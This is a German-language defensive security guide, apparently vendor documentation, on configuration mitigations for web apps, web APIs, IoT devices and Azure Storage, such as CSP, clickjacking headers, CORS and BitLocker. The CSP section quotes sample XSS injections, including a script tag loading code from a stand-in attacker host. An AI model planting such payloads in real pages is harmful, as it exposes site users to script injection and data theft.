Sicherheitsrahmen: Konfigurationsverwaltung | Risikominderung

Produkt/Dienst Artikel
Web Application
Datenbank
Web-API
IoT-Gerät
Zwischengeschaltetes IoT-Gateway
IoT-Cloudgateway
Computer-Vertrauensstellungsgrenze
Azure Storage (in englischer Sprache)
WCF

Implementieren Sie die Inhaltssicherheitsrichtlinie (Content Security Policy, CSP), und deaktivieren Sie Inline-JavaScript.

Titel Details
Komponente Webanwendung.
SDL-Phase Entwickeln
Zutreffende Technologien Allgemein
Attribute
Informationsquellen Eine Einführung in die Inhaltssicherheitsrichtlinie, Inhaltssicherheitsrichtlinienreferenz, Einführung in die Inhaltssicherheitsrichtlinie, Kann ich CSP verwenden?
Schritte

Die Inhaltssicherheitsrichtlinie (Content Security Policy, CSP) ist ein umfassender defensiver Sicherheitsmechanismus – ein W3C-Standard, mit dem Besitzer von Webanwendungen den in Ihre Website eingebetteten Inhalt steuern können. CSP wird auf dem Webserver als HTTP-Antwortheader hinzugefügt und clientseitig vom Browser erzwungen. Die Richtlinie basiert auf einer Zulassungsliste: Eine Website kann einen Satz vertrauenswürdiger Domänen deklarieren, aus denen aktive Inhalte wie etwa JavaScript geladen werden können.

CSP bietet folgende Sicherheitsvorteile:

  • Schutz vor XSS: Wenn eine Seite für XSS anfällig ist, kann dies von einem Angreifer auf zwei Arten ausgenutzt werden:
    • Der Angreifer kann <script>malicious code</script> einschleusen. Dieser Exploit funktioniert aufgrund der Basiseinschränkung 1 von CSP nicht.
    • Der Angreifer kann <script src="http://attacker.com/maliciousCode.js"/> einschleusen. Dieser Exploit funktioniert nicht, da die vom Angreifer gesteuerte Domäne nicht in der CSP-Liste der zulässigen Domänen enthalten ist.
  • Kontrolle über die Ausschleusung von Daten: Wenn schädlicher Inhalt auf einer Webseite versucht, eine Verbindung mit einer externen Website herzustellen und Daten zu stehlen, wird die Verbindung von CSP getrennt. Dies liegt daran, dass die Zieldomäne nicht in der CSP-Zulassungsliste enthalten ist.
  • Schutz vor Clickjacking: Bei einem Clickjacking-Angriff kann ein Angreifer eine Originalwebsite mit einem Frame versehen und Benutzer zum Klicken auf Benutzeroberflächenelemente bewegen. Zum Schutz vor Clickjacking wird momentan ein Antwortheader mit X-Frame-Optionen konfiguriert. Dieser Header wird nicht von allen Browsern beachtet, und in Zukunft wird CSP als eine der Standardmaßnahmen gegen Clickjacking verwendet.
  • Echtzeitberichte zu Angriffen: Bei einem Einschleusungsangriff auf eine CSP-fähige Website benachrichtigt der Browser automatisch einen für den Webserver konfigurierten Endpunkt. Somit fungiert CSP als Echtzeitwarnsystem.

Beispiel

Beispielrichtlinie:

Content-Security-Policy: default-src 'self'; script-src 'self' www.google-analytics.com 

Bei dieser Richtlinie können Skripts nur vom Server der Webanwendung und vom Google Analytics-Server geladen werden. Von anderen Websites geladene Skripts werden abgelehnt. Wenn CSP auf einer Website aktiviert ist, werden folgende Features automatisch deaktiviert, um XSS-Angriffe zu vermeiden.

Beispiel

Es werden keine Inlineskripts ausgeführt. Beispiele für Inlineskripts:

<script> some JavaScript code </script>
Event handling attributes of HTML tags (for example, <button onclick="function(){}">
javascript:alert(1);

Beispiel

Zeichenfolgen werden nicht als Code ausgewertet.

Example: var str="alert(1)"; eval(str);

Aktivieren Sie die XSS-Filter des Browsers.

Titel Details
Komponente Webanwendung.
SDL-Phase Entwickeln
Zutreffende Technologien Allgemein
Attribute
Referenzen XSS Protection Filter (XSS-Schutzfilter)
Schritte

Die Konfiguration des X-XSS-Protection-Antwortheaders steuert den websiteübergreifenden Skriptfilter des Browsers. Dieser Antwortheader kann folgende Werte besitzen:

  • 0:: Deaktiviert den Filter.
  • 1: Filter enabled: Wenn ein Angriff mit websiteübergreifendem Skripting erkannt wird, wird die Seite vom Browser bereinigt, um den Angriff abzuwehren.
  • 1: mode=block : Filter enabled. Bei Erkennung eines XSS-Angriffs verhindert der Browser das Rendern der Seite, anstatt die Seite zu bereinigen.
  • 1: report=http://[YOURDOMAIN]/your_report_URI : Filter enabled. Der Browser bereinigt die Seite und meldet die Verletzung.

Hierbei handelt es sich um eine Chromium-Funktion, die CSP-Verletzungsberichte verwendet, um Details an einen URI Ihrer Wahl zu senden. Die letzten beiden Optionen werden als sichere Werte betrachtet.

ASP.NET-Anwendungen müssen vor der Bereitstellung die Ablaufverfolgung und das Debugging deaktivieren.

Titel Details
Komponente Webanwendung.
SDL-Phase Entwickeln
Zutreffende Technologien Allgemein
Attribute
Referenzen Übersicht über das ASP.NET-Debugging, Übersicht über die ASP.NET-Ablaufverfolgung, Vorgehensweise: Aktivieren der Ablaufverfolgung für eine ASP.NET-Anwendung, Vorgehensweise: Aktivieren des Debuggens von ASP.NET-Anwendungen
Schritte Wenn die Ablaufverfolgung für die Seite aktiviert ist, erhält jeder Browser, der die Seite anfordert, auch die Ablaufverfolgungsinformationen, die Daten zum internen Serverzustand und zum Workflow enthalten. Diese Informationen sind möglicherweise sicherheitsrelevant. Wenn das Debuggen für die Seite aktiviert ist, führen Fehler auf dem Server dazu, dass der Browser die vollständigen Daten der Stapelüberwachung erhält. Diese Daten enthalten möglicherweise sicherheitsrelevante Informationen zum Workflow des Servers.

Greifen Sie nur auf Drittanbieter-JavaScripts aus vertrauenswürdigen Quellen zu.

Titel Details
Komponente Webanwendung.
SDL-Phase Entwickeln
Zutreffende Technologien Allgemein
Attribute
Referenzen
Schritte Auf Drittanbieter-JavaScripts darf nur verwiesen werden, wenn diese aus vertrauenswürdigen Quellen stammen. Die Verweisendpunkte müssen immer TLS verwenden.

Stellen Sie sicher, dass authentifizierte ASP.NET-Seiten gegen UI Redressing und Clickjacking geschützt sind.

Titel Details
Komponente Webanwendung.
SDL-Phase Entwickeln
Zutreffende Technologien Allgemein
Attribute
Referenzen OWASP Clickjacking Defense Cheat Sheet (OWASP-Cheat Sheet zur Abwehr von Clickjacking), IE Internals - Combating ClickJacking With X-Frame-Options (IE intern – Abwehren von Clickjacking mit X-Frame-Optionen)
Schritte

Beim Clickjacking (oder UI Redressing) verwendet ein Angreifer mehrere transparente oder undurchsichtige Ebenen, um einen Benutzer dazu zu bringen, auf eine Schaltfläche oder auf einen Link auf einer anderen Seite zu klicken, obwohl der Benutzer eigentlich mit der Seite auf der obersten Ebene interagieren wollte.

Zur Erstellung dieser Ebenenstruktur wird eine schädliche Seite mit einem IFrame erstellt, der die Seite des Opfers lädt. Dadurch „kapert“ der Angreifer Klicks, die eigentlich für die ursprüngliche Seite gedacht waren, und leitet sie auf eine andere Seite um, die wahrscheinlich zu einer anderen Anwendung und/oder zu einer anderen Domäne gehört. Legen Sie zur Verhinderung von Clickjacking-Angriffen die richtigen X-Frame-Options-HTTP-Antwortheader fest, die den Browser anweisen, kein Framing von anderen Domänen zuzulassen.

Beispiel

Der X-FRAME-OPTIONS-Header kann über „web.config“ von IIS festgelegt werden. Codeausschnitt aus „web.config“ für Websites, die niemals mit einem Frame versehen werden dürfen:

    <system.webServer>
        <httpProtocol>
            <customHeader>
                <add name="X-FRAME-OPTIONS" value="DENY"/>
            </customHeaders>
        </httpProtocol>
    </system.webServer>

Beispiel

Codeausschnitt aus „web.config“ für Websites, die nur von Seiten aus der gleichen Domäne mit einem Frame versehen werden dürfen:

    <system.webServer>
        <httpProtocol>
            <customHeader>
                <add name="X-FRAME-OPTIONS" value="SAMEORIGIN"/>
            </customHeaders>
        </httpProtocol>
    </system.webServer>

Stellen Sie sicher, dass nur vertrauenswürdige Ursprünge zulässig sind, wenn CORS für ASP.NET-Webanwendungen aktiviert ist.

Titel Details
Komponente Webanwendung.
SDL-Phase Entwickeln
Zutreffende Technologien Web Forms, MVC5
Attribute
Referenzen
Schritte

Die Browsersicherheit verhindert, dass eine Webseite AJAX-Anforderungen an eine andere Domäne richtet. Diese Einschränkung wird als Richtlinie des gleichen Ursprungs bezeichnet und verhindert, dass eine schädliche Website sensible Daten von einer anderen Website liest. Manchmal müssen jedoch unter Umständen APIs sicher verfügbar gemacht werden, damit sie von anderen Websites genutzt werden können. CORS (Cross Origin Resource Sharing; Ressourcenfreigabe zwischen verschiedenen Ursprüngen) ist ein W3C-Standard, der einem Server eine weniger strenge Anwendung der Richtlinie des gleichen Ursprungs ermöglicht. Mit CORS kann ein Server explizit einige ursprungsübergreifende Anforderungen zulassen und andere ablehnen.

CORS ist sicherer und flexibler als frühere Techniken wie etwa JSONP. Durch die Aktivierung von CORS werden der Webanwendung im Grunde einige HTTP-Antwortheader (Access-Control-*) hinzugefügt. Dies ist auf mehrere Arten möglich.

Beispiel

Wenn der Zugriff auf „web.config“ möglich ist, kann CORS über den folgenden Code hinzugefügt werden:

<system.webServer>
    <httpProtocol>
      <customHeaders>
        <clear />
        <add name="Access-Control-Allow-Origin" value="https://example.com" />
      </customHeaders>
    </httpProtocol>

Beispiel

Wenn der Zugriff auf „web.config“ nicht möglich ist, kann CORS durch Hinzufügen des folgenden C#-Codes konfiguriert werden:

HttpContext.Response.AppendHeader("Access-Control-Allow-Origin", "https://example.com")

Stellen Sie unbedingt sicher, dass die Liste mit Ursprüngen im Attribut „Access-Control-Allow-Origin“ auf eine begrenzte Anzahl vertrauenswürdiger Ursprünge festgelegt ist. Ist dieser Aspekt nicht ordnungsgemäß konfiguriert (also der Wert beispielsweise auf „*“ festgelegt), können schädliche Websites ursprungsübergreifende Anforderungen ohne jegliche Einschränkungen an die Webanwendung >richten, wodurch die Anwendung für CSRF-Angriffe anfällig wird.

Aktivieren Sie für ASP.NET-Seiten das ValidateRequest-Attribut.

Titel Details
Komponente Webanwendung.
SDL-Phase Entwickeln
Zutreffende Technologien Web Forms, MVC5
Attribute
Referenzen Request Validation - Preventing Script Attacks (Anforderungsüberprüfung – Verhindern von Skriptangriffen)
Schritte

Das Anforderungsüberprüfungsfeature von ASP.NET ist seit Version 1.1 verfügbar und verhindert, dass der Server Inhalte mit nicht codierter HTML akzeptiert. Diese Funktion soll dazu beitragen, einige Skript-Injektions-Angriffe zu verhindern, bei denen Skriptcode oder HTML vom Client unwissentlich an einen Server übermittelt, gespeichert und dann anderen Benutzern präsentiert werden kann. Es wird weiterhin dringend empfohlen, sämtliche Eingabedaten zu überprüfen und gegebenenfalls als HTML zu codieren.

Bei der Anforderungsüberprüfung werden sämtliche Eingabedaten mit einer Liste potenziell gefährlicher Werte verglichen. Im Falle einer Übereinstimmung löst ASP.NET Folgendes aus: HttpRequestValidationException. Das Anforderungsüberprüfungsfeature ist standardmäßig aktiviert.

Beispiel

Dieses Feature kann jedoch auf Seitenebene deaktiviert werden:

<%@ Page validateRequest="false" %> 

Oder auf Anwendungsebene:

<configuration>
   <system.web>
      <pages validateRequest="false" />
   </system.web>
</configuration>

Beachten Sie, dass das Anforderungsüberprüfungsfeature nicht unterstützt wird und nicht Teil der MVC6-Pipeline ist.

Verwenden Sie die neuesten Versionen von JavaScript-Bibliotheken (lokal gehostet).

Titel Details
Komponente Webanwendung.
SDL-Phase Entwickeln
Zutreffende Technologien Allgemein
Attribute
Referenzen
Schritte

Entwickler, die mit standardmäßigen JavaScript-Bibliotheken wie JQuery arbeiten, müssen genehmigte Versionen gängiger JavaScript-Bibliotheken verwenden, die keine bekannten Sicherheitsmängel enthalten. Es empfiehlt sich, stets die neueste Version der Bibliotheken zu verwenden, da sie Sicherheitsfixes für bekannte Sicherheitsrisiken aus älteren Versionen enthalten.

Falls die neueste Version aus Kompatibilitätsgründen nicht verwendet werden kann, sollten folgende Mindestversionen verwendet werden.

Akzeptable Mindestversionen:

  • JQuery
    • JQuery 1.7.1
    • JQueryUI 1.10.0
    • JQuery Validate 1.9
    • JQuery Mobile 1.0.1
    • JQuery Cycle 2.99
    • JQuery DataTables 1.9.0
  • AJAX Control Toolkit
    • AJAX Control Toolkit 40412
  • ASP.NET-Web Forms und AJAX
    • ASP.NET-Web Forms und AJAX 4
    • ASP.NET AJAX 3.5
  • ASP.NET MVC
    • ASP.NET MVC 3.0

Laden Sie niemals eine JavaScript-Bibliothek von externen Websites (beispielsweise von öffentlichen CDNs).

Deaktivieren Sie die automatische MIME-Ermittlung.

Titel Details
Komponente Webanwendung.
SDL-Phase Entwickeln
Zutreffende Technologien Allgemein
Attribute
Referenzen IE8 Security Part V: Comprehensive Protection (IE8-Sicherheit Teil V: Umfassender Schutz), MIME-Typ
Schritte Der Header „X-Content-Type-Options“ ist ein HTTP-Header, mit dem Entwickler festlegen, dass für ihre Inhalte keine MIME-Ermittlung erfolgen soll. Dieser Header dient zur Minderung von MIME-Ermittlungsangriffen. Für jede Seite, die möglicherweise von Benutzern steuerbare Inhalte enthält, muss der HTTP-Header „X-Content-Type-Options:nosniff“ verwendet werden. Verwenden Sie eines der folgenden Verfahren, um den erforderlichen Header global für alle Seiten in der Anwendung zu aktivieren:

Beispiel

Fügen Sie den Header der Datei „web.config“ hinzu, wenn die Anwendung von Internet Information Services (IIS; ab Version 7) gehostet wird.

<system.webServer>
<httpProtocol>
<customHeaders>
<add name="X-Content-Type-Options" value="nosniff"/>
</customHeaders>
</httpProtocol>
</system.webServer>

Beispiel

Den Header über die globale Anforderung „Application_BeginRequest“ hinzufügen

void Application_BeginRequest(object sender, EventArgs e)
{
this.Response.Headers["X-Content-Type-Options"] = "nosniff";
}

Beispiel

Implementieren des benutzerdefinierten HTTP-Moduls

public class XContentTypeOptionsModule : IHttpModule
{
#region IHttpModule Members
public void Dispose()
{
}
public void Init(HttpApplication context)
{
context.PreSendRequestHeaders += newEventHandler(context_PreSendRequestHeaders);
}
#endregion
void context_PreSendRequestHeaders(object sender, EventArgs e)
{
HttpApplication application = sender as HttpApplication;
if (application == null)
  return;
if (application.Response.Headers["X-Content-Type-Options "] != null)
  return;
application.Response.Headers.Add("X-Content-Type-Options ", "nosniff");
}
}

Beispiel

Sie können den erforderlichen Header nur für bestimmte Seiten aktivieren, indem sie ihn einzelnen Antworten hinzufügen:

this.Response.Headers["X-Content-Type-Options"] = "nosniff";

Entfernen Sie Serverstandardheader für Windows Azure-Websites, um Fingerprinting zu vermeiden.

Titel Details
Komponente Webanwendung.
SDL-Phase Entwickeln
Zutreffende Technologien Allgemein
Attribute EnvironmentType: Azure
Referenzen Removing standard server headers on Windows Azure Web Sites (Entfernen von Serverstandardheadern für Windows Azure-Websites)
Schritte Header wie „Server“, „X-Powered-By“ und „X-AspNet-Version“ geben Informationen zum Server und zu den zugrunde liegenden Technologien preis. Es empfiehlt sich, diese Header zu unterdrücken, um das Fingerprinting der Anwendung zu verhindern.

Konfigurieren einer Windows-Firewall für Datenbank-Engine-Zugriff

Titel Details
Komponente Datenbank
SDL-Phase Entwickeln
Zutreffende Technologien SQL Azure, lokal
Attribute N/V, SQL-Version: V12
Referenzen Azure SQL-Datenbank- und Azure Synapse-IP-Firewallregeln, Konfigurieren einer Windows-Firewall für Datenbank-Engine-Zugriff
Schritte Durch Firewallsysteme kann der nicht autorisierte Zugriff auf Computerressourcen verhindert werden. Wenn Sie durch eine Firewall auf eine Instanz der SQL Server-Datenbank-Engine zugreifen möchten, müssen Sie die Firewall auf dem Computer, auf dem SQL Server ausgeführt wird, entsprechend konfigurieren.

Stellen Sie sicher, dass nur vertrauenswürdige Ursprünge zulässig sind, wenn CORS für die ASP.NET-Web-API aktiviert ist.

Titel Details
Komponente Web-API
SDL-Phase Entwickeln
Zutreffende Technologien MVC 5
Attribute
Referenzen Enabling Cross-Origin Requests in ASP.NET Web API 2 (Ermöglichen ursprungsübergreifender Anforderungen in der ASP.NET-Web-API 2), ASP.NET-Web-API – CORS-Unterstützung in der ASP.NET-Web-API 2
Schritte

Die Browsersicherheit verhindert, dass eine Webseite AJAX-Anforderungen an eine andere Domäne richtet. Diese Einschränkung wird als Richtlinie des gleichen Ursprungs bezeichnet und verhindert, dass eine schädliche Website sensible Daten von einer anderen Website liest. Manchmal müssen jedoch unter Umständen APIs sicher verfügbar gemacht werden, damit sie von anderen Websites genutzt werden können. CORS (Cross Origin Resource Sharing; Ressourcenfreigabe zwischen verschiedenen Ursprüngen) ist ein W3C-Standard, der einem Server eine weniger strenge Anwendung der Richtlinie des gleichen Ursprungs ermöglicht.

Mit CORS kann ein Server explizit einige ursprungsübergreifende Anforderungen zulassen und andere ablehnen. CORS ist sicherer und flexibler als frühere Techniken wie etwa JSONP.

Beispiel

Fügen Sie den folgenden Code in „App_Start/WebApiConfig.cs“ der Methode „WebApiConfig.Register“ hinzu:

using System.Web.Http;
namespace WebService
{
    public static class WebApiConfig
    {
        public static void Register(HttpConfiguration config)
        {
            // New code
            config.EnableCors();

            config.Routes.MapHttpRoute(
                name: "DefaultApi",
                routeTemplate: "api/{controller}/{id}",
                defaults: new { id = RouteParameter.Optional }
            );
        }
    }
}

Beispiel

Das EnableCors-Attribut kann wie folgt auf Aktionsmethoden in einem Controller angewendet werden:

public class ResourcesController : ApiController
{
  [EnableCors("http://localhost:55912", // Origin
              null,                     // Request headers
              "GET",                    // HTTP methods
              "bar",                    // Response headers
              SupportsCredentials=true  // Allow credentials
  )]
  public HttpResponseMessage Get(int id)
  {
    var resp = Request.CreateResponse(HttpStatusCode.NoContent);
    resp.Headers.Add("bar", "a bar value");
    return resp;
  }
  [EnableCors("http://localhost:55912",       // Origin
              "Accept, Origin, Content-Type", // Request headers
              "PUT",                          // HTTP methods
              PreflightMaxAge=600             // Preflight cache duration
  )]
  public HttpResponseMessage Put(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  [EnableCors("http://localhost:55912",       // Origin
              "Accept, Origin, Content-Type", // Request headers
              "POST",                         // HTTP methods
              PreflightMaxAge=600             // Preflight cache duration
  )]
  public HttpResponseMessage Post(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
}

Stellen Sie unbedingt sicher, dass die Liste mit Ursprüngen im EnableCors-Attribut auf eine begrenzte Anzahl vertrauenswürdiger Ursprünge festgelegt ist. Ist dieser Aspekt nicht ordnungsgemäß konfiguriert (also der Wert beispielsweise auf „*“ festgelegt), können schädliche Websites ursprungsübergreifende Anforderungen ohne jegliche Einschränkungen >an die API richten, wodurch die API für CSRF-Angriffe anfällig wird. EnableCors kann auf Controllerebene ausgestattet werden.

Beispiel

Wenn Sie CORS für eine bestimmte Methode in einer Klasse deaktivieren möchten, kann das DisableCors-Attribut wie folgt verwendet werden:

[EnableCors("https://example.com", "Accept, Origin, Content-Type", "POST")]
public class ResourcesController : ApiController
{
  public HttpResponseMessage Put(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  public HttpResponseMessage Post(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  // CORS not allowed because of the [DisableCors] attribute
  [DisableCors]
  public HttpResponseMessage Delete(int id)
  {
    return Request.CreateResponse(HttpStatusCode.NoContent);
  }
}
Titel Details
Komponente Web-API
SDL-Phase Entwickeln
Zutreffende Technologien MVC 6
Attribute
Referenzen Enabling Cross-Origin Requests (CORS) in ASP.NET Core 1.0 (Aktivieren von CORS in ASP.NET Core 1.0)
Schritte

In ASP.NET Core 1.0 kann CORS entweder mithilfe von Middleware oder mithilfe von MVC aktiviert werden. Bei Verwendung von MVC werden die gleichen CORS-Dienste verwendet, aber nicht die CORS-Middleware.

Vorgehensweise 1: Aktivieren von CORS mithilfe von Middleware: Wenn Sie CORS für die gesamte Anwendung aktivieren möchten, fügen Sie die CORS-Middleware mithilfe der UseCors-Erweiterungsmethode der Anforderungspipeline hinzu. Beim Hinzufügen der CORS-Middleware kann mithilfe der CorsPolicyBuilder-Klasse eine ursprungsübergreifende Richtlinie angegeben werden. Hierfür gibt es zwei Möglichkeiten:

Beispiel

Das erste Beispiel dient zum Aufrufen von „UseCors“ mit einem Lambda. Das Lambda akzeptiert ein CorsPolicyBuilder-Objekt:

public void Configure(IApplicationBuilder app)
{
    app.UseCors(builder =>
        builder.WithOrigins("https://example.com")
        .WithMethods("GET", "POST", "HEAD")
        .WithHeaders("accept", "content-type", "origin", "x-custom-header"));
}

Beispiel

Das zweite Beispiel dient dazu, mindestens eine benannte CORS-Richtlinie zu definieren und anschließenden zur Laufzeit anhand des Namens auszuwählen.

public void ConfigureServices(IServiceCollection services)
{
    services.AddCors(options =>
    {
        options.AddPolicy("AllowSpecificOrigin",
            builder => builder.WithOrigins("https://example.com"));
    });
}
public void Configure(IApplicationBuilder app)
{
    app.UseCors("AllowSpecificOrigin");
    app.Run(async (context) =>
    {
        await context.Response.WriteAsync("Hello World!");
    });
}

Vorgehensweise 2: Aktivieren von CORS in MVC: Entwickler können alternativ MVC verwenden, um bestimmte CORS pro Aktion, pro Controller oder global für alle Controller anzuwenden.

Beispiel

Pro Aktion: Fügen Sie einer Aktion das EnableCors-Attribut hinzu, um eine CORS-Richtlinie für eine bestimmte Aktion anzugeben. Geben Sie den Namen der Richtlinie an.

public class HomeController : Controller
{
    [EnableCors("AllowSpecificOrigin")] 
    public IActionResult Index()
    {
        return View();
    }

Beispiel

Pro Controller:

[EnableCors("AllowSpecificOrigin")]
public class HomeController : Controller
{

Beispiel

Global:

public void ConfigureServices(IServiceCollection services)
{
    services.AddMvc();
    services.Configure<MvcOptions>(options =>
    {
        options.Filters.Add(new CorsAuthorizationFilterFactory("AllowSpecificOrigin"));
    });
}

Stellen Sie unbedingt sicher, dass die Liste mit Ursprüngen im EnableCors-Attribut auf eine begrenzte Anzahl vertrauenswürdiger Ursprünge festgelegt ist. Ist dieser Aspekt nicht ordnungsgemäß konfiguriert (also der Wert beispielsweise auf „*“ festgelegt), können schädliche Websites ursprungsübergreifende Anforderungen ohne jegliche Einschränkungen >an die API richten, wodurch die API für CSRF-Angriffe anfällig wird.

Beispiel

Wenn Sie CORS für einen Controller oder eine Aktion deaktivieren möchten, verwenden Sie das DisableCors-Attribut.

[DisableCors]
    public IActionResult About()
    {
        return View();
    }

Verschlüsseln Sie Abschnitte der Web-API-Konfigurationsdateien, die sensible Daten enthalten.

Titel Details
Komponente Web-API
SDL-Phase Bereitstellung
Zutreffende Technologien Allgemein
Attribute
Referenzen Vorgehensweise: Encrypt Configuration Sections in ASP.NET 2.0 Using DPAPI (Gewusst wie: Verschlüsseln von Konfigurationsabschnitten in ASP.NET 2.0 mithilfe von DPAPI), Angeben eines geschützten Konfigurationsanbieters, Verwenden von Azure Key Vault zum Schützen von Anwendungsgeheimnissen
Schritte In Konfigurationsdateien wie „web.config“ und „appsettings.json“ werden häufig sensible Informationen wie Benutzernamen, Kennwörter, Datenbankverbindungszeichenfolgen und Verschlüsselungsschlüssel gespeichert. Wenn Sie diese Informationen nicht schützen, können Angreifer oder böswillige Benutzer an sensible Informationen wie Kontobenutzernamen und Kennwörter, Datenbanknamen und Servernamen gelangen. Verschlüsseln Sie daher die sensiblen Abschnitte von Konfigurationsdateien basierend auf dem Bereitstellungstyp (Azure/lokal) mithilfe von DPAPI oder mithilfe von Diensten wie Azure Key Vault.

Stellen Sie sicher, dass alle Administratoroberflächen durch sichere Anmeldeinformationen geschützt sind.

Titel Details
Komponente IoT-Gerät
SDL-Phase Bereitstellung
Zutreffende Technologien Allgemein
Attribute
Referenzen
Schritte Administratoroberflächen, die das Gerät oder das zwischengeschaltete Gateway verfügbar macht, müssen mit sicheren Anmeldeinformationen geschützt werden. Weitere verfügbar gemachte Schnittstellen wie WLAN, SSH, Dateifreigaben und FTP müssen mit sicheren Anmeldeinformationen geschützt werden. Verwenden Sie keine unsicheren Standardkennwörter.

Stellen Sie sicher, dass auf Geräten kein unbekannter Code ausgeführt werden kann.

Titel Details
Komponente IoT-Gerät
SDL-Phase Entwickeln
Zutreffende Technologien Allgemein
Attribute
Referenzen Enabling Secure Boot and BitLocker Device Encryption on Windows 10 IoT Core (Aktivieren des sicheren Starts und der BitLocker-Geräteverschlüsselung unter Windows 10 IoT Core)
Schritte Der sichere UEFI-Start sorgt mittels Einschränkung des Systems dafür, dass nur Binärdateien ausgeführt werden können, die von einer angegebenen Stelle signiert wurden. Dieses Feature verhindert die Ausführung von unbekanntem Code auf der Plattform und damit eine potenzielle Beeinträchtigung ihres Sicherheitsstatus. Aktivieren Sie den sicheren UEFI-Start, und schränken Sie die Liste mit den vertrauenswürdigen Zertifizierungsstellen ein, die Code signieren können. Lassen Sie sämtlichen Code, der auf dem Gerät bereitgestellt wird, von einer der vertrauenswürdigen Zertifizierungsstellen signieren.

Verschlüsseln Sie die Betriebssystempartition und andere Partitionen des IoT-Geräts mit BitLocker.

Titel Details
Komponente IoT-Gerät
SDL-Phase Entwickeln
Zutreffende Technologien Allgemein
Attribute
Referenzen
Schritte Windows 10 IoT Core implementiert eine vereinfachte Version der BitLocker-Geräteverschlüsselung, die stark davon abhängig ist, dass die Plattform über ein TPM verfügt – einschließlich des erforderlichen preOS-Protokolls in UEFI zur Durchführung der erforderlichen Messungen. Mit diesen preOS-Messungen wird sichergestellt, dass das Betriebssystem später eindeutig nachvollziehen kann, wie es gestartet wurde. Verschlüsseln Sie Betriebssystempartitionen und andere Partitionen, auf denen sensible Daten gespeichert sind, mit BitLocker.

Stellen Sie sicher, dass auf Geräten nur unbedingt erforderliche Dienste/Features aktiviert sind.

Titel Details
Komponente IoT-Gerät
SDL-Phase Bereitstellung
Zutreffende Technologien Allgemein
Attribute
Referenzen
Schritte Lassen Sie alle Features oder Dienste des Betriebssystems, die nicht für den ordnungsgemäßen Betrieb der Lösung benötigt werden, deaktiviert, bzw. deaktivieren Sie sie. Falls für das Gerät also beispielsweise keine Benutzeroberfläche bereitgestellt werden muss, installieren Sie Windows IoT Core im monitorlosen Modus.

Verschlüsseln Sie die Betriebssystempartition und andere Partitionen des zwischengeschalteten IoT-Gateways mit BitLocker.

Titel Details
Komponente Zwischengeschaltetes IoT-Gateway
SDL-Phase Bereitstellung
Zutreffende Technologien Allgemein
Attribute
Referenzen
Schritte Windows 10 IoT Core implementiert eine vereinfachte Version der BitLocker-Geräteverschlüsselung, die stark davon abhängig ist, dass die Plattform über ein TPM verfügt – einschließlich des erforderlichen preOS-Protokolls in UEFI zur Durchführung der erforderlichen Messungen. Mit diesen preOS-Messungen wird sichergestellt, dass das Betriebssystem später eindeutig nachvollziehen kann, wie es gestartet wurde. Verschlüsseln Sie Betriebssystempartitionen und andere Partitionen, auf denen sensible Daten gespeichert sind, mit BitLocker.

Stellen Sie sicher, dass die Standardanmeldeinformationen des zwischengeschalteten Gateways bei der Installation geändert werden.

Titel Details
Komponente Zwischengeschaltetes IoT-Gateway
SDL-Phase Bereitstellung
Zutreffende Technologien Allgemein
Attribute
Referenzen
Schritte Stellen Sie sicher, dass die Standardanmeldeinformationen des zwischengeschalteten Gateways bei der Installation geändert werden.

Stellen Sie sicher, dass das Cloudgateway einen Prozess implementiert, der die Firmware verbundener Geräte auf dem neuesten Stand hält.

Titel Details
Komponente IoT-Cloudgateway
SDL-Phase Entwickeln
Zutreffende Technologien Allgemein
Attribute Wahl des Gateways: Azure IoT Hub
Referenzen Übersicht über die IoT Hub-Geräteverwaltung,Tutorial: Device Update for Azure IoT Hub unter Verwendung des Raspberry Pi 3 B+-Referenzimages.
Schritte LWM2M ist ein Protokoll der Open Mobile Alliance zur Verwaltung von IoT-Geräten. Die Azure IoT-Geräteverwaltung ermöglicht die Interaktion mit physischen Geräten über Geräteaufträge. Stellen Sie sicher, dass das Cloudgateway einen Prozess implementiert, der das Gerät und andere Konfigurationsdaten mithilfe der Geräteverwaltung von Azure IoT Hub regelmäßig auf den neuesten Stand bringt.

Stellen Sie sicher, dass für Geräte organisationsrichtlinienkonforme Endpunktsicherheitskontrollen konfiguriert sind.

Titel Details
Komponente Computer-Vertrauensstellungsgrenze
SDL-Phase Bereitstellung
Zutreffende Technologien Allgemein
Attribute
Referenzen
Schritte Stellen Sie sicher, dass für Geräte organisationsrichtlinienkonforme Endpunktsicherheitskontrollen konfiguriert sind. Beispiele wären etwa BitLocker für die Verschlüsselung auf Datenträgerebene, Virenschutz mit aktualisierten Signaturen, eine hostbasierte Firewall, Betriebssystemupgrades und Gruppenrichtlinien.

Gewährleisten Sie die sichere Verwaltung von Azure-Speicherzugriffsschlüsseln.

Titel Details
Komponente Azure Storage
SDL-Phase Bereitstellung
Zutreffende Technologien Allgemein
Attribute
Referenzen Azure Storage-Sicherheitsleitfaden – Verwalten Ihres Speicherkontoschlüssels
Schritte

Schlüsselspeicher: Es wird empfohlen, die Azure-Speicherzugriffsschlüssel als Geheimnis in Azure Key Vault zu speichern und von den Anwendungen aus dem Schlüsseltresor abrufen zu lassen. Dies empfiehlt sich aus folgenden Gründen:

  • Der Speicherschlüssel liegt zu keinem Zeitpunkt als hartcodierter Speicherschlüssel in einer Konfigurationsdatei der Anwendung vor, sodass ohne ausdrückliche Berechtigung niemand Zugriff auf die Schlüssel erlangen kann.
  • Der Zugriff auf die Schlüssel kann über Microsoft Entra ID gesteuert werden. Das bedeutet, ein Kontoinhaber kann einigen wenigen Anwendungen, die Schlüssel aus Azure Key Vault abrufen müssen, Zugriff gewähren. Andere Anwendungen können nur auf die Schlüssel zugreifen, wenn ihnen dies explizit gestattet wird.
  • Erneute Schlüsselgenerierung: Aus Sicherheitsgründen empfiehlt es sich, ein Verfahren für die erneute Generierung von Speicherzugriffsschlüsseln einzurichten. Details zu den Gründen und zur Vorgehensweise für die Planung der erneuten Schlüsselgenerierung finden Sie im Referenzartikel des Azure Storage-Sicherheitsleitfadens.

Stellen Sie sicher, dass nur vertrauenswürdige Ursprünge zulässig sind, wenn CORS für Azure Storage aktiviert ist.

Titel Details
Komponente Azure Storage
SDL-Phase Entwickeln
Zutreffende Technologien Allgemein
Attribute
Referenzen Cross-Origin Resource Sharing (CORS) Support for the Azure Storage Services (Unterstützung von CORS (Cross-Origin Resource Sharing; ursprungsübergreifende Freigabe) für die Azure Storage-Dienste)
